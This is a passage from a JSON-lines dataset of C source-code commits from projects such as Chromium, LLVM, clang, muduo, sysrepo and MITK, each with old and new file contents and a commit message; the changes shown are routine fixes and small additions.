fish_detector\n\n#endif \/\/ SPECIES_DIALOG_H\n","subject":"Add function returning Species object","message":"Add function returning Species object\n","lang":"C","license":"mit","repos":"BGWoodward\/FishDetector"}
{"commit":"5fff847531ede017aeabc7e38264f438748b5493","old_file":"webkit\/plugins\/ppapi\/ppp_pdf.h","new_file":"webkit\/plugins\/ppapi\/ppp_pdf.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n#define WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_point.h\"\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPP_PDF_INTERFACE_1 \"PPP_Pdf;1\"\n\nstruct PPP_Pdf_1 {\n  \/\/ Returns an absolute URL if the position is over a link.\n  PP_Var (*GetLinkAtPosition)(PP_Instance instance,\n                              PP_Point point);\n};\n\ntypedef PPP_Pdf_1 PPP_Pdf;\n\n#endif  \/\/ WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n#define WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n\n#include \"ppapi\/c\/pp_instance.h\"\n#include \"ppapi\/c\/pp_point.h\"\n#include \"ppapi\/c\/pp_var.h\"\n\n#define PPP_PDF_INTERFACE_1 \"PPP_Pdf;1\"\n#define PPP_PDF_INTERFACE PPP_PDF_INTERFACE_1\n\nstruct PPP_Pdf_1 {\n  \/\/ Returns an absolute URL if the position is over a link.\n  PP_Var (*GetLinkAtPosition)(PP_Instance instance,\n                              PP_Point point);\n};\n\ntypedef PPP_Pdf_1 PPP_Pdf;\n\n#endif  \/\/ WEBKIT_PLUGINS_PPAPI_PPP_PDF_H_\n","subject":"Add missing unversioned interface-name macro for PPP_Pdf.","message":"Add missing unversioned interface-name macro for PPP_Pdf.\n\nBUG=107398\n\nReview URL: http:\/\/codereview.chromium.org\/9114010\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@116504 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium"}
{"commit":"e62cfdcc7390d420833d2bead953d8e172719f37","old_file":"src\/dst.c","new_file":"src\/dst.c","old_contents":"#include \"syshead.h\"\n#include \"dst.h\"\n#include \"ip.h\"\n#include \"arp.h\"\n\nint dst_neigh_output(struct sk_buff *skb)\n{\n    struct iphdr *iphdr = ip_hdr(skb);\n    struct netdev *netdev = skb->netdev;\n    uint8_t *dmac = arp_get_hwaddr(iphdr->daddr);\n    int rc;\n\n    if (dmac) {\n        return netdev_transmit(skb, dmac, ETH_P_IP);\n    } else {\n        rc = arp_request(iphdr->saddr, iphdr->daddr, netdev);\n        free_skb(skb);\n        return rc;\n    }\n}\n","new_contents":"#include \"syshead.h\"\n#include \"dst.h\"\n#include \"ip.h\"\n#include \"arp.h\"\n\nint dst_neigh_output(struct sk_buff *skb)\n{\n    struct iphdr *iphdr = ip_hdr(skb);\n    struct netdev *netdev = skb->netdev;\n    uint8_t *dmac = arp_get_hwaddr(iphdr->daddr);\n    int rc;\n\n    if (dmac) {\n        return netdev_transmit(skb, dmac, ETH_P_IP);\n    } else {\n        rc = arp_request(iphdr->saddr, iphdr->daddr, netdev);\n\n        while ((dmac = arp_get_hwaddr(iphdr->daddr)) == NULL) {\n            sleep(1);\n        }\n\n        return netdev_transmit(skb, dmac, ETH_P_IP);\n    }\n}\n","subject":"Add ugly hack for waiting that ARP cache gets populated","message":"Add ugly hack for waiting that ARP cache gets populated\n\nWe do not have a retransmission system implemented yet,\nso let's sleep here for a while in order to get the ARP entry\nif it is missing.\n","lang":"C","license":"mit","repos":"saminiir\/level-ip,saminiir\/level-ip"}
{"commit":"813b100e98470a3dca5116895e37cadfae1e7c2d","old_file":"util\/cpp\/db\/util\/Macros.h","new_file":"util\/cpp\/db\/util\/Macros.h","old_contents":"\/*\n * Copyright (c) 2008 Digital Bazaar, Inc.  All rights reserved.\n *\/\n#ifndef db_util_Macros_H\n#define db_util_Macros_H\n\n\/**\n * Miscellaneous general use macros.\n *\/\n\n\/**\n * Macro statement wrapper.  Adapted from glib.\n * Use:\n * if(x) DB_STMT_START { ... } DB_STMT_END; else ...\n *\/\n#define DB_STMT_START do\n#define DB_STMT_END while (0)\n\n\/**\n * Convert argument to a string\n *\/\n#define DB_STRINGIFY(arg) #arg\n\n\/**\n * String representing the current code location.\n *\/\n#define DB_STRLOC __FILE__ \":\" DB_STRINGIFY(__LINE__)\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2008 Digital Bazaar, Inc.  All rights reserved.\n *\/\n#ifndef db_util_Macros_H\n#define db_util_Macros_H\n\n\/**\n * Miscellaneous general use macros.\n *\/\n\n\/**\n * Macro statement wrapper.  Adapted from glib.\n * Use:\n * if(x) DB_STMT_START { ... } DB_STMT_END; else ...\n *\/\n#define DB_STMT_START do\n#define DB_STMT_END while (0)\n\n\/**\n * Convert argument to a string\n *\/\n#define DB_STRINGIFY_ARG(arg) #arg\n#define DB_STRINGIFY(arg) DB_STRINGIFY_ARG(arg)\n\n\/**\n * String representing the current code location.\n *\/\n#define DB_STRLOC __FILE__ \":\" DB_STRINGIFY(__LINE__)\n\n#endif\n","subject":"Fix DB_STRINGIFY to indirectly convert arg to a string.","message":"Fix DB_STRINGIFY to indirectly convert arg to a string.\n","lang":"C","license":"agpl-3.0","repos":"digitalbazaar\/monarch,digitalbazaar\/monarch,digitalbazaar\/monarch,digitalbazaar\/monarch,digitalbazaar\/monarch"}
{"commit":"c888133119dece5f3a60a1f02a8a3c3916898206","old_file":"test\/Sema\/no-format-y2k-turnsoff-format.c","new_file":"test\/Sema\/no-format-y2k-turnsoff-format.c","old_contents":"\/\/ RUN: %clang_cc1 -verify -fsyntax-only -Wformat -Wno-format-y2k\n\/\/ rdar:\/\/9504680\n\nvoid foo(const char *, ...) __attribute__((__format__ (__printf__, 1, 2)));\n\nvoid bar(unsigned int a) {\n        foo(\"%s\", a); \/\/ expected-warning {{format specifies type 'char *' but the argument has type 'unsigned int'}}\n}\n\n","new_contents":"\/\/ RUN: %clang_cc1 -verify -fsyntax-only -Wformat -Wno-format-y2k %s\n\/\/ rdar:\/\/9504680\n\nvoid foo(const char *, ...) __attribute__((__format__ (__printf__, 1, 2)));\n\nvoid bar(unsigned int a) {\n        foo(\"%s\", a); \/\/ expected-warning {{format specifies type 'char *' but the argument has type 'unsigned int'}}\n}\n\n","subject":"Make this test actually test something","message":"Make this test actually test something\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@164677 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"7bdd3703e4012446a446b66580e66f4fa80db07e","old_file":"lib\/src\/clacks-api\/clacks.c","new_file":"lib\/src\/clacks-api\/clacks.c","old_contents":"#include \"clacks_common.h\"\n#include \"id_client.h\"\n#include \"TraceMessage.pb-c.h\"\n#include \"..\/transport-client\/cl_transport_domsock_client.h\"\n#include <stdio.h>\n\n#include \"clacks.h\"\n\n\/* API Back-End *\/\nvoid _clacks_trace_string_id(char *str, char *id) {\n  int ret;\n\n  TraceMessage t_msg = TRACE_MESSAGE__INIT;\n  t_msg.act_id = \"TEST\";\n  t_msg.msg = str;\n  t_msg.flags = 0;\n\n  ret = send_trace_message(&t_msg);\n}\n\n\/* API Front-End *\/\nvoid clacks_trace_string(char *str) {\n  clacks_trace_string_id(str, \"NULLID\");\n}\n\nvoid clacks_trace_string_id(char *str, char *id) {\n  if (str != NULL && id != NULL) {\n    _clacks_trace_string_id(str, id);\n  }\n}\n\nint clacks_new_id(char *id) {\n  if (id == NULL) {\n    return -1;\n  }\n  return get_new_id(id);\n}\n\n","new_contents":"#include \"clacks_common.h\"\n#include \"id_client.h\"\n#include \"TraceMessage.pb-c.h\"\n#include \"..\/transport-client\/cl_transport_domsock_client.h\"\n#include <stdio.h>\n\n#include \"clacks.h\"\n\n\/* API Back-End *\/\nvoid _clacks_trace_string_id(char *str, char *id) {\n  int ret;\n\n  TraceMessage t_msg = TRACE_MESSAGE__INIT;\n  t_msg.act_id = id;\n  t_msg.msg = str;\n  t_msg.flags = 0;\n\n  ret = send_trace_message(&t_msg);\n}\n\n\/* API Front-End *\/\nvoid clacks_trace_string(char *str) {\n  clacks_trace_string_id(str, \"NULLID\");\n}\n\nvoid clacks_trace_string_id(char *str, char *id) {\n  if (str != NULL && id != NULL) {\n    _clacks_trace_string_id(str, id);\n  }\n}\n\nint clacks_new_id(char *id) {\n  if (id == NULL) {\n    return -1;\n  }\n  return get_new_id(id);\n}\n\n","subject":"Set the id for the trace message","message":"Set the id for the trace message\n","lang":"C","license":"mit","repos":"jamessnee\/clacks,jamessnee\/clacks,jamessnee\/clacks"}
{"commit":"c6cf5db15afd0d5f702ee9898338070616e567b6","old_file":"src\/utils\/cl_trees.c","new_file":"src\/utils\/cl_trees.c","old_contents":"","new_contents":"\/**\n * @file cl_trees.c\n * @author Rastislav Szabo <raszabo@cisco.com>, Lukas Macko <lmacko@cisco.com>,\n *         Milan Lenco <milan.lenco@pantheon.tech>\n * @brief Iterative tree loading using internal sysrepo requests.\n *\n * @copyright\n * Copyright 2016 Cisco Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"sr_common.h\"\n#include \"client_library.h\"\n#include \"sysrepo\/trees.h\"\n#include \"trees_internal.h\"\n\n\nsr_node_t *\nsr_node_get_child(sr_session_ctx_t *session, sr_node_t *node)\n{\n    int rc = SR_ERR_OK;\n\n    if (NULL != node) {\n        if (NULL != node->first_child && SR_TREE_ITERATOR_T == node->first_child->type) {\n            rc = sr_get_subtree_next_chunk(session, node);\n            if (SR_ERR_OK != rc) {\n                return NULL;\n            }\n        }\n        return node->first_child;\n    } else {\n        return NULL;\n    }\n}\n\nsr_node_t *\nsr_node_get_next_sibling(sr_session_ctx_t *session, sr_node_t *node)\n{\n    int rc = SR_ERR_OK;\n\n    if (NULL != node) {\n        if (NULL != node->next && SR_TREE_ITERATOR_T == node->next->type) {\n            rc = sr_get_subtree_next_chunk(session, node->parent);\n            if (SR_ERR_OK != rc) {\n                return NULL;\n            }\n        }\n        return node->next;\n    } else {\n        return NULL;\n    }\n}\n\nsr_node_t *\nsr_node_get_parent(sr_session_ctx_t *session, sr_node_t *node)\n{\n    (void)session;\n    if (NULL != node) {\n        return node->parent;\n    } else {\n        return NULL;\n    }\n}\n","subject":"Add forgotten source file cl_test.c","message":"Add forgotten source file cl_test.c\n","lang":"C","license":"apache-2.0","repos":"rastislavszabo\/sysrepo,lukasmacko\/sysrepo,rastislavszabo\/sysrepo,morganzhh\/sysrepo,morganzhh\/sysrepo,lukasmacko\/sysrepo,fanchanghu\/sysrepo,fanchanghu\/sysrepo,rastislavszabo\/sysrepo,morganzhh\/sysrepo,lukasmacko\/sysrepo,morganzhh\/sysrepo,fanchanghu\/sysrepo,fanchanghu\/sysrepo,lukasmacko\/sysrepo,fanchanghu\/sysrepo,morganzhh\/sysrepo,lukasmacko\/sysrepo,lukasmacko\/sysrepo,fanchanghu\/sysrepo,fanchanghu\/sysrepo,rastislavszabo\/sysrepo,rastislavszabo\/sysrepo,morganzhh\/sysrepo,lukasmacko\/sysrepo,rastislavszabo\/sysrepo,morganzhh\/sysrepo,rastislavszabo\/sysrepo"}
{"commit":"1d6e54c49babe1975a1b6285e8b7f039c04b3ab3","old_file":"muduo\/base\/Atomic.h","new_file":"muduo\/base\/Atomic.h","old_contents":"#ifndef MUDUO_BASE_ATOMIC_H\n#define MUDUO_BASE_ATOMIC_H\n\n#include <boost\/noncopyable.hpp>\n\nnamespace muduo\n{\n\nclass AtomicInt64 : boost::noncopyable\n{\n public:\n  AtomicInt64()\n    : value_(0)\n  {\n  }\n\n  int64_t get()\n  {\n    return value_;\n  }\n\n  int64_t addAndGet(int64_t x)\n  {\n    value_ += x;\n    return value_;\n  }\n\n  int64_t incrementAndGet()\n  {\n    return addAndGet(1);\n  }\n\n  int64_t getAndSet(int64_t newValue)\n  {\n    int64_t old = value_;\n    value_ = newValue;\n    return old;\n  }\n\n private:\n  int64_t value_;\n};\n\n}\n#endif  \/\/ MUDUO_BASE_ATOMIC_H\n","new_contents":"#ifndef MUDUO_BASE_ATOMIC_H\n#define MUDUO_BASE_ATOMIC_H\n\n#include <boost\/noncopyable.hpp>\n\nnamespace muduo\n{\n\nclass AtomicInt64 : boost::noncopyable\n{\n public:\n  AtomicInt64()\n    : value_(0)\n  {\n  }\n\n  int64_t get()\n  {\n    return value_;\n  }\n\n  int64_t addAndGet(int64_t x)\n  {\n    return __sync_add_and_fetch(&value_, x);\n  }\n\n  int64_t incrementAndGet()\n  {\n    return addAndGet(1);\n  }\n\n  int64_t getAndSet(int64_t newValue)\n  {\n    return __sync_lock_test_and_set(&value_, newValue);\n  }\n\n private:\n  volatile int64_t value_;\n};\n\n}\n#endif  \/\/ MUDUO_BASE_ATOMIC_H\n","subject":"Implement atomic integer with gcc builtins.","message":"Implement atomic integer with gcc builtins.\n","lang":"C","license":"bsd-3-clause","repos":"wangweihao\/muduo,Cofyc\/muduo,jxd134\/muduo,shenhzou654321\/muduo,floristt\/muduo,floristt\/muduo,SuperMXC\/muduo,Cofyc\/muduo,lvshiling\/muduo,fc500110\/muduo,danny200309\/muduo,jerk1991\/muduo,lizj3624\/http-github.com-chenshuo-muduo-,jxd134\/muduo,SourceInsight\/muduo,zhuangshi23\/muduo,SourceInsight\/muduo,devsoulwolf\/muduo,shenhzou654321\/muduo,KunYi\/muduo,devsoulwolf\/muduo,lizj3624\/muduo,KublaikhanGeek\/muduo,DongweiLee\/muduo,KingLebron\/muduo,KublaikhanGeek\/muduo,KingLebron\/muduo,danny200309\/muduo,yunhappy\/muduo,shuang-shuang\/muduo,DongweiLee\/muduo,mitliucak\/muduo,tsh185\/muduo,danny200309\/muduo,guker\/muduo,huan80s\/muduo,dhanzhang\/muduo,lizj3624\/muduo,yunhappy\/muduo,floristt\/muduo,SourceInsight\/muduo,lvmaoxv\/muduo,KingLebron\/muduo,tsh185\/muduo,wangweihao\/muduo,lizj3624\/http-github.com-chenshuo-muduo-,zhanMingming\/muduo,lizj3624\/muduo,Cofyc\/muduo,ucfree\/muduo,decimalbell\/muduo,ywy2090\/muduo,KingLebron\/muduo,xzmagic\/muduo,lizj3624\/http-github.com-chenshuo-muduo-,wangweihao\/muduo,dhanzhang\/muduo,dhanzhang\/muduo,SuperMXC\/muduo,guker\/muduo,SourceInsight\/muduo,ucfree\/muduo,decimalbell\/muduo,shenhzou654321\/muduo,fc500110\/muduo,devsoulwolf\/muduo,floristt\/muduo,zhuangshi23\/muduo,lizj3624\/muduo,zxylvlp\/muduo,huan80s\/muduo,jerk1991\/muduo,wangweihao\/muduo,mitliucak\/muduo,lizj3624\/http-github.com-chenshuo-muduo-,lizhanhui\/muduo,flyfeifan\/muduo,mitliucak\/muduo,Cofyc\/muduo,Cofyc\/muduo,westfly\/muduo,xzmagic\/muduo,mitliucak\/muduo,mitliucak\/muduo,decimalbell\/muduo,decimalbell\/muduo,daodaoliang\/muduo,westfly\/muduo,penyatree\/muduo,devsoulwolf\/muduo,danny200309\/muduo,penyatree\/muduo,wangweihao\/muduo,pthreadself\/muduo,SuperMXC\/muduo,kidzyoung\/muduo,pthreadself\/muduo,lizj3624\/http-github.com-chenshuo-muduo-,lizj3624\/muduo,huan80s\/muduo,ucfree\/muduo,youprofit\/muduo,zouzl\/muduo-learning,ucfree\/muduo,zhanMingming\/muduo,daodaoliang\/muduo,floristt\/muduo,shenhzou654321\/muduo,dhanzhang\/muduo,KunYi\/muduo,june505\/muduo,lizhanhui\/muduo,decimalbell\/muduo,shuang-shuang\/muduo,zxylvlp\/muduo,dhanzhang\/muduo,ywy2090\/muduo,youprofit\/muduo,june505\/muduo,SuperMXC\/muduo,zouzl\/muduo-learning,danny200309\/muduo,devsoulwolf\/muduo,flyfeifan\/muduo,zhuangshi23\/muduo,lvmaoxv\/muduo,ucfree\/muduo,nestle1998\/muduo,zxylvlp\/muduo,SuperMXC\/muduo,shenhzou654321\/muduo,huan80s\/muduo,KingLebron\/muduo,kidzyoung\/muduo,lvshiling\/muduo,huan80s\/muduo,zouzl\/muduo-learning,SourceInsight\/muduo,nestle1998\/muduo,westfly\/muduo"}
{"commit":"8127f3a6e6c615856006842cee6df2e13c1ba852","old_file":"test\/CFrontend\/2007-06-18-SextAttrAggregate.c","new_file":"test\/CFrontend\/2007-06-18-SextAttrAggregate.c","old_contents":"\/\/ RUN: %llvmgcc %s -o - -S -emit-llvm -O3 | grep {i8 signext}\n\/\/ PR1513\n\nstruct s{\nlong a;\nlong b;\n};\n\nvoid f(struct s a, char *b, char C) {\n\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -o - -S -emit-llvm -O3 | grep {i8 signext}\n\/\/ PR1513\n\nstruct s{\nlong a;\nlong b;\n};\n\nvoid f(struct s a, char *b, signed char C) {\n\n}\n","subject":"Make this explictly signed. Fixes PR1571.","message":"Make this explictly signed. Fixes PR1571.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@40569 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"b89efa2cd07719696316128da95a2c56088141e1","old_file":"Core\/DataStructures\/mitkVideoSource.h","new_file":"Core\/DataStructures\/mitkVideoSource.h","old_contents":"#ifndef _mitk_Video_Source_h_\n#define _mitk_Video_Source_h_\n\n#include \"mitkCommon.h\"\n#include <itkObject.h>\n#include \"itkObjectFactory.h\"\n\nnamespace mitk\n{\n  \/**\n  * Simple base class for acquiring video data. \n  *\/\n  class VideoSource \/\/: public itk::Object\n  {\n    public:\n      \/\/mitkClassMacro( VideoSource, itk::Object );\n      \/\/itkNewMacro( Self );\n      VideoSource();\n\t    virtual ~VideoSource();      \n      \n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief assigns the grabbing devices for acquiring the next frame. \n      virtual void FetchFrame();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief returns a pointer to the image data array for opengl rendering. \n      virtual unsigned char * GetVideoTexture();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief starts the video capturing.\n      virtual void StartCapturing();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief stops the video capturing.\n      virtual void StopCapturing();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief returns true if video capturing is active.\n      bool IsCapturingEnabled();\n\n    protected:\n  \t  \n      unsigned char * m_CurrentVideoTexture;\n      int m_CaptureWidth, m_CaptureHeight;\n      bool m_CapturingInProcess;\n   \n \n  };\n}\n#endif \/\/ Header","new_contents":"#ifndef _mitk_Video_Source_h_\n#define _mitk_Video_Source_h_\n\n#include \"mitkCommon.h\"\n#include <itkObject.h>\n#include \"itkObjectFactory.h\"\n\nnamespace mitk\n{\n  \/**\n  * Simple base class for acquiring video data. \n  *\/\n  class VideoSource \/\/: public itk::Object\n  {\n    public:\n      \/\/mitkClassMacro( VideoSource, itk::Object );\n      \/\/itkNewMacro( Self );\n      VideoSource();\n\t    virtual ~VideoSource();      \n      \n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief assigns the grabbing devices for acquiring the next frame. \n      virtual void FetchFrame();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief returns a pointer to the image data array for opengl rendering. \n      virtual unsigned char * GetVideoTexture();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief starts the video capturing.\n      virtual void StartCapturing();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief stops the video capturing.\n      virtual void StopCapturing();\n      \/\/\/\/##Documentation\n      \/\/\/\/## @brief returns true if video capturing is active.\n      bool IsCapturingEnabled();\n\n    protected:\n  \t  \n      unsigned char * m_CurrentVideoTexture;\n      int m_CaptureWidth, m_CaptureHeight;\n      bool m_CapturingInProcess;\n   \n \n  };\n}\n#endif \/\/ Header\n\n","subject":"FIX warnings: newline at end of file","message":"FIX warnings: newline at end of file\n\n\n","lang":"C","license":"bsd-3-clause","repos":"fmilano\/mitk,danielknorr\/MITK,lsanzdiaz\/MITK-BiiG,danielknorr\/MITK,nocnokneo\/MITK,NifTK\/MITK,fmilano\/mitk,lsanzdiaz\/MITK-BiiG,MITK\/MITK,rfloca\/MITK,danielknorr\/MITK,iwegner\/MITK,fmilano\/mitk,lsanzdiaz\/MITK-BiiG,iwegner\/MITK,danielknorr\/MITK,lsanzdiaz\/MITK-BiiG,fmilano\/mitk,MITK\/MITK,fmilano\/mitk,rfloca\/MITK,fmilano\/mitk,nocnokneo\/MITK,NifTK\/MITK,NifTK\/MITK,nocnokneo\/MITK,fmilano\/mitk,lsanzdiaz\/MITK-BiiG,nocnokneo\/MITK,iwegner\/MITK,nocnokneo\/MITK,MITK\/MITK,nocnokneo\/MITK,nocnokneo\/MITK,NifTK\/MITK,MITK\/MITK,MITK\/MITK,iwegner\/MITK,iwegner\/MITK,NifTK\/MITK,lsanzdiaz\/MITK-BiiG,RabadanLab\/MITKats,rfloca\/MITK,RabadanLab\/MITKats,RabadanLab\/MITKats,iwegner\/MITK,NifTK\/MITK,rfloca\/MITK,MITK\/MITK,rfloca\/MITK,rfloca\/MITK,RabadanLab\/MITKats,lsanzdiaz\/MITK-BiiG,lsanzdiaz\/MITK-BiiG,danielknorr\/MITK,RabadanLab\/MITKats,danielknorr\/MITK,rfloca\/MITK,RabadanLab\/MITKats,danielknorr\/MITK"}
{"commit":"e434cc2a4d7de10c15ecf18ba27be5819e247910","old_file":"include\/llvm\/Option\/OptSpecifier.h","new_file":"include\/llvm\/Option\/OptSpecifier.h","old_contents":"\/\/===--- OptSpecifier.h - Option Specifiers ---------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_OPTION_OPTSPECIFIER_H\n#define LLVM_OPTION_OPTSPECIFIER_H\n\nnamespace llvm {\nnamespace opt {\n  class Option;\n\n  \/\/\/ OptSpecifier - Wrapper class for abstracting references to option IDs.\n  class OptSpecifier {\n    unsigned ID;\n\n  private:\n    explicit OptSpecifier(bool) LLVM_DELETED_FUNCTION;\n\n  public:\n    OptSpecifier() : ID(0) {}\n    \/*implicit*\/ OptSpecifier(unsigned _ID) : ID(_ID) {}\n    \/*implicit*\/ OptSpecifier(const Option *Opt);\n\n    bool isValid() const { return ID != 0; }\n\n    unsigned getID() const { return ID; }\n\n    bool operator==(OptSpecifier Opt) const { return ID == Opt.getID(); }\n    bool operator!=(OptSpecifier Opt) const { return !(*this == Opt); }\n  };\n}\n}\n\n#endif\n","new_contents":"\/\/===--- OptSpecifier.h - Option Specifiers ---------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_OPTION_OPTSPECIFIER_H\n#define LLVM_OPTION_OPTSPECIFIER_H\n\n#include \"llvm\/Support\/Compiler.h\"\n\nnamespace llvm {\nnamespace opt {\n  class Option;\n\n  \/\/\/ OptSpecifier - Wrapper class for abstracting references to option IDs.\n  class OptSpecifier {\n    unsigned ID;\n\n  private:\n    explicit OptSpecifier(bool) LLVM_DELETED_FUNCTION;\n\n  public:\n    OptSpecifier() : ID(0) {}\n    \/*implicit*\/ OptSpecifier(unsigned _ID) : ID(_ID) {}\n    \/*implicit*\/ OptSpecifier(const Option *Opt);\n\n    bool isValid() const { return ID != 0; }\n\n    unsigned getID() const { return ID; }\n\n    bool operator==(OptSpecifier Opt) const { return ID == Opt.getID(); }\n    bool operator!=(OptSpecifier Opt) const { return !(*this == Opt); }\n  };\n}\n}\n\n#endif\n","subject":"Add missing include, found by modules build.","message":"Add missing include, found by modules build.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@207158 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap"}
{"commit":"baa4007881f894ff8c0a04b71002d53f4fe9572a","old_file":"kernel\/x86\/tests\/lock.c","new_file":"kernel\/x86\/tests\/lock.c","old_contents":"#include <kernel\/x86\/lock.h>\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <pthread.h>\n\nstatic volatile int counter;\nstatic mutex_t lock;\n\nvoid *do_thread(void *arg) {\n\tint sign = (int)arg;\n\n\tfor(int i = 0; i < 100000; i++) {\n\t\twait_aquire(&lock);\n\t\tcounter += sign;\n\t\trelease(&lock);\n\t}\n\n\treturn NULL;\n}\n\nvoid panic(char *s) {\n\tfprintf(stderr, \"%s\\n\", s);\n\texit(1);\n}\n\nint main(void) {\n\tpthread_t incr, decr;\n\n\tpthread_create(&incr, NULL, do_thread, (void *)1);\n\tpthread_create(&decr, NULL, do_thread, (void *)-1);\n\n\tpthread_join(incr, NULL);\n\tpthread_join(decr, NULL);\n\n\tif(counter != 0) {\n\t\tpanic(\"Counter is non-zero!\");\n\t}\n\treturn 0;\n}\n","new_contents":"#include <kernel\/arch\/lock.h>\n\n#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <pthread.h>\n\nstatic volatile int counter;\nstatic mutex_t lock;\n\nvoid *do_thread(void *arg) {\n\tint sign = (int)arg;\n\n\tfor(int i = 0; i < 100000; i++) {\n\t\twait_aquire(&lock);\n\t\tcounter += sign;\n\t\trelease(&lock);\n\t}\n\n\treturn NULL;\n}\n\nvoid panic(char *s) {\n\tfprintf(stderr, \"%s\\n\", 